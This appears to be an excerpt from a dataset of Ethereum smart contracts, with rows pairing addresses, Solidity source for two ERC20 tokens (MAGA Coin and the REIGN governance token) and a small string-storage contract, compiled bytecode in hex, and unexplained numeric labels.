ffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000835185511415156115a257600080fd5b600091505b8451821115156118e257600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868481518110151561160057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080848381518110151561165657fe5b906020019060200201511115611704576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087858151811015156116b757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117c6565b61172e848381518110151561171557fe5b9060200190602002015182611fec90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000878581518110151561177d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84828151811015156117d457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000898781518110151561187b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a381806001019250506115a7565b60019250505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119aa5780601f1061197f576101008083540402835291602001916119aa565b820191906000526020600020905b81548152906001019060200180831161198d57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156119ef57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a3c57600080fd5b611a8d826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fec90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b20826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fce90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080849050611be18585610bd5565b15611d42578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611cdb578082015181840152602081019050611cc0565b50505050905090810190601f168015611d085780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515611d2957600080fd5b5af11515611d3657600080fd5b50505060019150611d43565b5b509392505050565b6000611ddc82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fce90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284019050838110151515611fe257fe5b8091505092915050565b6000828211151515611ffa57fe5b8183039050929150505600a165627a7a72305820947955c33c12dd961975fc1d55c395f4d2f37e5938db7c25476c11e1a942b67b0029 | [
0
] |
0xf34c537b964eabe7d74505e7ce52c88a91083f6b | pragma solidity ^0.4.24;
//Safe Math Interface
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
//ERC Token Standard #20 Interface
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
//Contract function to receive approval and execute function in one call
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
//Actual token contract
contract MAGACoin is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "MAGA";
name = "MAGA Coin";
decimals = 8;
_totalSupply = 100000000000000000;
balances[0x8Aa187fb8935f7BD703209ed1AA4981D61731d2D] = _totalSupply;
emit Transfer(address(0), 0x8Aa187fb8935f7BD703209ed1AA4981D61731d2D, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
} | 0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce567146102855780633eaaf86b146102b657806370a08231146102e157806395d89b4114610338578063a293d1e8146103c8578063a9059cbb14610413578063b5931f7c14610478578063cae9ca51146104c3578063d05c78da1461056e578063dd62ed3e146105b9578063e6cb901314610630575b600080fd5b3480156100ec57600080fd5b506100f561067b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610719565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61080b565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610856565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610ae6565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102c257600080fd5b506102cb610af9565b6040518082815260200191505060405180910390f35b3480156102ed57600080fd5b50610322600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aff565b6040518082815260200191505060405180910390f35b34801561034457600080fd5b5061034d610b48565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038d578082015181840152602081019050610372565b50505050905090810190601f1680156103ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d457600080fd5b506103fd6004803603810190808035906020019092919080359060200190929190505050610be6565b6040518082815260200191505060405180910390f35b34801561041f57600080fd5b5061045e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c02565b604051808215151515815260200191505060405180910390f35b34801561048457600080fd5b506104ad6004803603810190808035906020019092919080359060200190929190505050610d8b565b6040518082815260200191505060405180910390f35b3480156104cf57600080fd5b50610554600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610daf565b604051808215151515815260200191505060405180910390f35b34801561057a57600080fd5b506105a36004803603810190808035906020019092919080359060200190929190505050610ffe565b6040518082815260200191505060405180910390f35b3480156105c557600080fd5b5061061a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102f565b6040518082815260200191505060405180910390f35b34801561063c57600080fd5b5061066560048036038101908080359060200190929190803590602001909291905050506110b6565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107115780601f106106e657610100808354040283529160200191610711565b820191906000526020600020905b8154815290600101906020018083116106f457829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006108a1600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061096a600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a33600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836110b6565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bde5780601f10610bb357610100808354040283529160200191610bde565b820191906000526020600020905b815481529060010190602001808311610bc157829003601f168201915b505050505081565b6000828211151515610bf757600080fd5b818303905092915050565b6000610c4d600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd9600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836110b6565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d9b57600080fd5b8183811515610da657fe5b04905092915050565b600082600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f8c578082015181840152602081019050610f71565b50505050905090810190601f168015610fb95780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610fdb57600080fd5b505af1158015610fef573d6000803e3d6000fd5b50505050600190509392505050565b60008183029050600083148061101e575081838281151561101b57fe5b04145b151561102957600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156110cc57600080fd5b929150505600a165627a7a723058209dabad6894ae350bfb457641447899edd6b2e273c8f7ad34a0f8b3bd4f13bd020029 | [
2
] |
0xf34c55b03e4bd6c541786743e9c67ef1abd9ec67 | // SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract ReignToken is IERC20 {
using SafeMath for uint256;
string public constant name = "Sovreign Governance Token";
string public constant symbol = "REIGN";
uint8 public constant decimals = 18;
uint256 public override totalSupply;
address public owner;
mapping(address => uint256) public override balanceOf;
mapping(address => mapping(address => uint256)) public override allowance;
event Mint(address indexed to, uint256 value);
constructor(address _owner) {
owner = _owner;
}
// after the initial mint the owner will be set to 0 address
function setOwner(address _owner) public {
require(msg.sender == owner, "Only Owner can do this");
owner = _owner;
}
function mint(address to, uint256 value) external returns (bool) {
require(msg.sender == owner, "Only Owner can do this");
_mint(to, value);
emit Mint(to, value);
return true;
}
function approve(address spender, uint256 value)
external
override
returns (bool)
{
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value)
external
override
returns (bool)
{
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) external override returns (bool) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
/**
INTERNAL
*/
function _approve(
address owner,
address spender,
uint256 value
) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(
address from,
address to,
uint256 value
) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
| 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806340c10f191161007157806340c10f191461020c57806370a08231146102385780638da5cb5b1461025e57806395d89b4114610282578063a9059cbb1461028a578063dd62ed3e146102b6576100b4565b806306fdde03146100b9578063095ea7b31461013657806313af40351461017657806318160ddd1461019e57806323b872dd146101b8578063313ce567146101ee575b600080fd5b6100c16102e4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b03813516906020013561031d565b604080519115158252519081900360200190f35b61019c6004803603602081101561018c57600080fd5b50356001600160a01b0316610333565b005b6101a66103ad565b60408051918252519081900360200190f35b610162600480360360608110156101ce57600080fd5b506001600160a01b038135811691602081013590911690604001356103b3565b6101f661041a565b6040805160ff9092168252519081900360200190f35b6101626004803603604081101561022257600080fd5b506001600160a01b03813516906020013561041f565b6101a66004803603602081101561024e57600080fd5b50356001600160a01b03166104cc565b6102666104de565b604080516001600160a01b039092168252519081900360200190f35b6100c16104ed565b610162600480360360408110156102a057600080fd5b506001600160a01b03813516906020013561050e565b6101a6600480360360408110156102cc57600080fd5b506001600160a01b038135811691602001351661051b565b6040518060400160405280601981526020017f536f76726569676e20476f7665726e616e636520546f6b656e0000000000000081525081565b600061032a338484610538565b50600192915050565b6001546001600160a01b0316331461038b576040805162461bcd60e51b81526020600482015260166024820152754f6e6c79204f776e65722063616e20646f207468697360501b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60005481565b6001600160a01b03831660009081526003602090815260408083203384529091528120546103e1908361059a565b6001600160a01b03851660009081526003602090815260408083203384529091529020556104108484846105f7565b5060019392505050565b601281565b6001546000906001600160a01b0316331461047a576040805162461bcd60e51b81526020600482015260166024820152754f6e6c79204f776e65722063616e20646f207468697360501b604482015290519081900360640190fd5b61048483836106a5565b6040805183815290516001600160a01b038516917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a250600192915050565b60026020526000908152604090205481565b6001546001600160a01b031681565b604051806040016040528060058152602001642922a4a3a760d91b81525081565b600061032a3384846105f7565b600360209081526000928352604080842090915290825290205481565b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000828211156105f1576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6001600160a01b03831660009081526002602052604090205461061a908261059a565b6001600160a01b038085166000908152600260205260408082209390935590841681522054610649908261072f565b6001600160a01b0380841660008181526002602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000546106b2908261072f565b60009081556001600160a01b0383168152600260205260409020546106d7908261072f565b6001600160a01b03831660008181526002602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600082820183811015610789576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fea26469706673582212206818fa186e87b5c415744aa686a1a71223c38d23ca9afdb890b3098040b24ce064736f6c63430007060033 | [
38
] |
0xf34cd2fd11233df8f90646ab658b03bfea98aa92 | pragma solidity ^0.4.21;
contract SaveData {
mapping (string => string) sign;
address public owner;
event SetString(string key,string types);
function SaveData() public {
owner = msg.sender;
}
function setstring(string key,string md5) public returns(string){
sign[key]=md5;
return sign[key];
}
function getString(string key) public view returns(string){
return sign[key];
}
} | 0x608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680638da5cb5b1461005c5780639c981fcb146100b3578063d2e1d20114610195575b600080fd5b34801561006857600080fd5b506100716102bd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100bf57600080fd5b5061011a600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506102e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015a57808201518184015260208101905061013f565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a157600080fd5b50610242600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506103f0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610282578082015181840152602081019050610267565b50505050905090810190601f1680156102af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606000826040518082805190602001908083835b60208310151561031d57805182526020820191506020810190506020830392506102f8565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103e45780601f106103b9576101008083540402835291602001916103e4565b820191906000526020600020905b8